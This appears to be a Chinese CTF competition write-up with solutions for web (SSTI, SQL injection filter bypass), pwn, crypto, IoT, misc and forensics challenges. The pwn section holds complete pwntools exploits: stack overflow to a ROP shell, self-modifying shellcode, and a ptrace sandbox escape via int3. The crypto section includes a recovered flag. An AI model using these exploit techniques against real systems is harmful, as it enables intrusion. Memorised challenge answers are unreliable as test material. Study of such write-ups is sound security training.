解题情况

签到

WEB

Rank-l

测试发现login路由存在ssti 触发点在cpass

空格被过滤了 用request来绕过 但触发点在cpass 所以传的参数也要在cpass

sqli or not

两个waf

这里对,有个匹配 限制了我们json传参

可以利用json.parse绕过

info={“username”:”admin”&info=”password”:”1”}

下面第二层waf

需要我们查询出来 就行 这里利用replace独有的匹配模式

https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/replace#%E6%8C%87%E5%AE%9A%E5%87%BD%E6%95%B0%E4%BD%9C%E4%B8%BA%E6%9B%BF%E6%8D%A2%E9%A1%B9 参考这篇文章

注意$` 我们可以把sql语句打印出来看看效果

发现会给我们逃逸出一个单引号 所以我们直接加个or 1=1–+ 返回永真 注释掉后面的就得到flag

pwn

Vpwn

Push功能存在溢出,可以直接篡改 size

void __fastcall push(struct Data *data, int *value_ptr)
{
  int value; // ecx
  __int64 size; // rax

  value = *value_ptr;
  size = data->size;
  data->size = size + 1;
  data->int_arr6[size] = value;                 // 栈溢出
}

先利用溢出篡改size为一个较大的值,然后print进行leak libc,然后pop减小size利用push劫持返回地址写rop链 给出exp

from pwn import *
from ctypes import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'

#io = process("./pwn")
io = remote("139.155.126.78", 18291)
elf = ELF("./pwn")
libc = elf.libc

def debug():
    gdb.attach(io)
    pause()

sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
"""
gef> p &(((struct _IO_FILE_plus*)0)->file._wide_data)
$3 = (struct _IO_wide_data **) 0xa0

gef> p &(((struct _IO_FILE_plus*)0)->vtable)
$4 = (const struct _IO_jump_t **) 0xd8

"""
dll = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
dll.srand(0x39)
dll.rand()

menu   = b"Enter your choice: "

def push(v):
    sla(menu, b'2')
    sla(b"Enter the value to push: ", byte(v))

def pop():
    sla(menu, b'3')

def show():
    sla(menu, b'4')

nnn = 20
for _ in range(7):
    push(nnn)

show()

rut(b'20 0 0 0 ')
canary_low = int(rut(b' '), 10)
if canary_low < 0:
    canary_low += 0x100000000
canary_high = int(rut(b' '), 10)
if canary_high < 0:
    canary_high += 0x100000000
canary = (canary_high<<32)|canary_low
info("canary", canary)

rut(b'0 0 0 0 1 0 ')
libc_low = int(rut(b' '), 10)
if libc_low < 0:
    libc_low += 0x100000000
libc_high = int(rut(b' '), 10)
if libc_high < 0:
    libc_high += 0x100000000
libc_base = (libc_high<<32)|libc_low
libc_base -= 0x29d90
info("libc_base", libc_base)

for _ in range(20-18):
    pop()
sleep(0.1)
libc.address = libc_base
pop_rdi = libc_base + 0x000000000002a3e5 # pop rdi ; ret
ret = libc_base + 0x0000000000029139 # ret
binsh = next(libc.search(b'/bin/sh\x00'))
system = libc.sym.system
info("binsh", binsh)
print("go")
push(pop_rdi&0xffffffff)
push((pop_rdi>>32)&0xffffffff)
push(binsh&0xffffffff)
push((binsh>>32)&0xffffffff)
push(ret&0xffffffff)
push((ret>>32)&0xffffffff)
push(system&0xffffffff)
push((system>>32)&0xffffffff)

sla(menu, b'5')
#debug()
sh()

Heavens_door

Shellcode题目,限制输入的shellcode只能有两个syscall,但是shellcode地址是rwx权限,所以可以动态修改shellcode构造syscall,然后题目没有read,但是允许mmap,使用利用open打开文件,然后mmap映射文件内容到0xdead000,最后write输出即可

from pwn import *
from ctypes import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'

#io = remote("139.155.126.78", 31938)
io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc

def debug():
    gdb.attach(io)
    pause()

sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
"""
gef> p &(((struct _IO_FILE_plus*)0)->file._wide_data)
$3 = (struct _IO_wide_data **) 0xa0

gef> p &(((struct _IO_FILE_plus*)0)->vtable)
$4 = (const struct _IO_jump_t **) 0xd8

"""
dll = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
dll.srand(0x39)
dll.rand()

menu   = b''

sc  = shellcraft.open("flag")
sc += shellcraft.mmap(0xdead000, 0x1000, 1, 2, 3, 0)
sc += shellcraft.write(1, 0xdead000, 0x40)
#print(sc)
xxx = asm('''
    mov byte ptr[0x10057], 5
''')
sss = xxx+asm(sc)[:-1]
#print(sss)
#print(hex(len(asm(sc))))
print(disasm(sss))
#debug()
#gdb.attach(io, 'b *0x401709')
sl(sss)
#pause()
sh()

babytrace-v2

edit 函数 和 show 函数由于没有负数检查,都存在数组溢出漏洞。

void __fastcall edit(size_t *arrary) // 0xC36
{
  __int64 v1; // [rsp+10h] [rbp-220h]
  _BYTE buf[520]; // [rsp+20h] [rbp-210h] BYREF
  unsigned __int64 v3; // [rsp+228h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( *(_DWORD *)edit_once == 1 )
  {
    puts("recv:");
    read(0, buf, 0x200uLL);
    puts("which one?");
    v1 = get_long();
    if ( v1 > 2 )
      exit(1);
    puts("set value?");
    arrary[v1] = get_long();
    puts("Set up for success!");
    *(_DWORD *)edit_once = 0;
  }
  else
  {
    puts("permission denied!");
  }
}

show 函数

void __fastcall show(size_t *array) // 0xD3D
{
  __int64 index; // [rsp+18h] [rbp-8h]

  if ( *(int *)show_twice > 1 )
  {
    puts("permission denied!");
  }
  else
  {
    puts("which one?");
    index = get_long();
    if ( index > 2 )
      exit(1);
    printf("num[%lld] = %lld\n", index, array[index]);
    ++*(_DWORD *)show_twice;
  }
}

主程序处有简单的ptrace沙箱,允许

  • SYS_read
  • SYS_write
  • SYS_exit_group
  • SYS_fstat
  • SYS_exit

但是其对 SIGTRAP 信号并没有做严格的检查,因此使用 int3 指令即可改变其监控SYSCALL开始的逻辑为监控SYSCALL结束,此时 syscall 就可以正常使用

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  int stat_loc; // [rsp+4h] [rbp-ECh] BYREF
  __pid_t pid; // [rsp+8h] [rbp-E8h]
  __pid_t v6; // [rsp+Ch] [rbp-E4h]
  user_regs_struct regs; // [rsp+10h] [rbp-E0h] BYREF
  unsigned __int64 v8; // [rsp+E8h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  pid = fork();
  if ( !pid )
  {
    if ( prctl(1, 9LL) < 0 )
      error("prctl error");
    if ( ptrace(PTRACE_TRACEME, 0LL, 0LL, 0LL) )
      error("hack !!!!");
    v6 = getpid();
    kill(v6, 19);
    sub_DD6();
  }
  if ( waitpid(pid, &stat_loc, 0) < 0 )
    error("waitpid error1");
  alarm(0xFu);
  ptrace(PTRACE_SETOPTIONS, (unsigned int)pid, 0LL, 1LL);
  do
  {
    ptrace(PTRACE_SYSCALL, (unsigned int)pid, 0LL, 0LL);
    if ( waitpid(pid, &stat_loc, 0x40000000) < 0 )
      error("waitpid error2");
    if ( (stat_loc & 0x7F) == 0 || (unsigned __int8)stat_loc == 127 && (stat_loc & 0xFF00) >> 8 == 11 )
      break;
    if ( ptrace(PTRACE_GETREGS, (unsigned int)pid, 0LL, &regs) < 0 )
      error("GETREGS error");
    if ( regs.orig_rax != SYS_write
      && regs.orig_rax != SYS_exit_group
      && regs.orig_rax != SYS_fstat
      && regs.orig_rax != SYS_exit )
    {
      if ( regs.orig_rax )
      {
        printf("bad syscall: %llu\n", regs.orig_rax);
        regs.orig_rax = -1LL;
        if ( ptrace(PTRACE_SETREGS, (unsigned int)pid, 0LL, &regs) < 0 )
          error("SETREGS error");
      }
    }
    ptrace(PTRACE_SYSCALL, (unsigned int)pid, 0LL, 0LL);
    if ( waitpid(pid, &stat_loc, 0x40000000) < 0 )
      error("waitpid error3");
  }
  while ( (stat_loc & 0x7F) != 0 && ((unsigned __int8)stat_loc != 127 || (stat_loc & 0xFF00) >> 8 != 11) );
  return 0LL;
}

脚本

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')

def show(index):
    sh.sendlineafter(b'choose one >', b'2')
    sh.sendlineafter(b'which one?\n', str(index).encode())

def edit(index, value, content):
    sh.sendlineafter(b'choose one >', b'1')
    sh.sendafter(b'recv:\n', content)
    sh.sendlineafter(b'which one?\n', str(index).encode())
    sh.sendlineafter(b'set value?\n', str(value).encode())

sh = remote('119.45.238.17', 9999)

show(-13)
sh.recvuntil(b' = ')
stack_addr = int(sh.recvline()) + 0x20
success('stack_addr: ' + hex(stack_addr))
show(-28)
sh.recvuntil(b' = ')
libc_addr = int(sh.recvline()) - 0x219aa0
success('libc_addr: ' + hex(libc_addr))

target = libc_addr + 0x219098 # libc.strlen.got
offset = (target - stack_addr) // 8
rop_chain = flat(
[
    # It is to keep @tag1 running normally
    libc_addr + 0x0000000000045eb0, # : pop rax ; ret
    stack_addr - 0x10000, # writable
    libc_addr + 0x000000000002a3e5, # : pop rdi ; ret
    stack_addr - 0x10000, # writable
    libc_addr + 0x000000000002be51, # : pop rsi ; ret
    stack_addr - 0x1f8 - 0xd, # Point the address to @tag2 to restore the ROP chain logic

    # int3
    # add    BYTE PTR [rax],al
    # add    BYTE PTR [rdi],cl
    # add    eax,0xfff0003d
    # push   QWORD PTR [rsi+0xd]
    # neg    eax
    # ret
    libc_addr + 0x95d36, # @tag1
    libc_addr + 0x000000000002be51, # : pop rsi ; ret, @tag2
    
    libc_addr + 0x000000000002a3e5, # : pop rdi ; ret
    stack_addr - 0x40, # flag
    libc_addr + 0x000000000002be51, # : pop rsi ; ret
    0,
    libc_addr + 0x1142f0, # open

    libc_addr + 0x000000000002a3e5, # : pop rdi ; ret
    3,
    libc_addr + 0x000000000002be51, # : pop rsi ; ret
    stack_addr - 0x10000, # writable
    libc_addr + 0x00000000000796a2, # : pop rdx ; ret
    0x100,
    libc_addr + 0x1145e0, # read

    libc_addr + 0x000000000002a3e5, # : pop rdi ; ret
    1,
    libc_addr + 0x000000000002be51, # : pop rsi ; ret
    stack_addr - 0x10000, # writable
    libc_addr + 0x00000000000796a2, # : pop rdx ; ret
    0x100,
    libc_addr + 0x114680, # write

]
)
edit(offset, libc_addr + 0x0000000000114b5c, rop_chain.ljust(0x1f0, b'\0') + b'flag\0') # add rsp, 0x68 ; ret

sh.interactive()

misc

糟糕的磁盘

直接打开Img提示损坏,使用winhex查看二进制,发现是raid阵列

导入工具,直接重建raid

取出secret以及key.png,veracrypt挂载secret,key.png作为秘钥

CRYPTO

matrixRSA

coppersmith恢复p

求模p下三阶矩阵的阶,然后私钥d是e模阶的逆元

from Crypto.Util.number import *

p = 9707529668721508094878754383636813058761407528950189013789315732447048631740849315894253576415843631107370002912949379757275
n = 132298777672085547096511087266255066285502135020124093900452138262993155381766816424955849796168059204379325075568094431259877923353664926875986223020472585645919414821322880213299188157427622804140996898685564075484754918339670099806186873974594139182324884620018780943630196754736972805036038798946726414009
C = [[130700952989014311434434028098810412089294728270156705618326733322297465714495704072159530618655340096705383710304658044991149662060657745933090473082775425812641300964472543605460360640675949447837208449794830578184968528547366608180085787382376536622136035364815331037493098283462540849880674541138443271941,  71108771421281691064141020659106224750236412635914570166893031318860027728093402453305986361330527563506168063047627979831630830003190075818824767924892107148560048725155587353683119195901991465464478196049173060097561821877061015587704803006499153902855903286456023726638247758665778434728734461065079337757 , 67999998657112350704927993584783146575182096185020115836188544590466205688442741039622382576899587857972463337900200038021257164640987281308471100297698062626107380871262596623736773815445544153508352926374272336154553916204320257697068627063236060520725376727528604938949588845448940836430120015498687885615],
[ 23893343854815011808020457237095285782125931083991537368666368653089096539223297567339111502968295914745423286070638369517207554770793304994639155083818859208362057394004419565231389473766857235749279110546079776040193183912062870294579472815588333047561915280189529367474392709554971446978468118280633281993 ,  9711323829269829751519177755915164402658693668631868499383945203627197171508441332211907278473276713066275283973856513580205808517918096017699122954464305556795300874005627001464297760413897074044080665941802588680926430030715299713241442313300920463145903399054123967914968894345491958980945927764454159601 , 44904507975955275578858125671789564568591470104141872573541481508697254621798834910263012676346204850278744732796211742615531019931085695420000582627144871996018850098958417750918177991375489106531511894991744745328626887250694950153424439172667977623425955725695498585224383607063387876414273539268016177401],
[ 67805732998935098446255672500407441801838056284635701147853683333480924477835278030145327818330916280792499177503535618310624546400536573924729837478349680007368781306805363621196573313903080315513952415535369016620873765493531188596985587834408434835281527678166509365418905214174034794683785063802543354572 , 13486048723056269216825615499052563411132892702727634833280269923882908676944418624902325737619945647093190397919828623788245644333036340084254490542292357044974139884304715033710988658109160936809398722070125690919829906642273377982021120160702344103998315875166038849942426382506293976662337161520494820727 , 95932690738697024519546289135992512776877884741458439242887603021792409575448192508456813215486904392440772808083658410285088451086298418303987628634150431725794904656250453314950126433260613949819432633322599879072805834951478466009343397728711205498602927752917834774516505262381463414617797291857077444676]
]
e = 65537

ph = p << 100
R.<x> = PolynomialRing(Zmod(n))
f = ph + x
root = f.monic().small_roots(X=2^100,beta=0.4)

p = ph + root[0]
q = n // p
op = p*(p-1)*(p+1)*(p^2+p+1)

C = Matrix(Zmod(p),C)
d = inverse(e,op)
M = C**d

msg = b""
for m in M.list():
    msg += long_to_bytes(int(m))
    
print(msg)
# DASCTF{48ccbfd88061d7ff3d5325148ec55d11}

IOT

在ida strings找到关键函数

在关键函数附近找到莫斯密码

解码后得到数据:rtosandmorseisveryeasyhahhaha

后又在摩斯密码附近直接找到该字符串,验证成功

sharkp

追踪找http流,在其中找到一个elf文件,导出,dump下来

丢安恒云沙箱跑出可疑的IP地址

IP地址: 115.195.88.161

然后发现追踪tcp流,看到setSystemAdmin接口似乎有执行命令

Flag: setSystemAdmin_115.195.88.161

DS

easydatalog

error.log存在

保存为zip 但需要密码

发现存在jpg的图像

将数据提出来后 保存为jpg 用盲水印得到密码

解密zip 找到张三的信息提交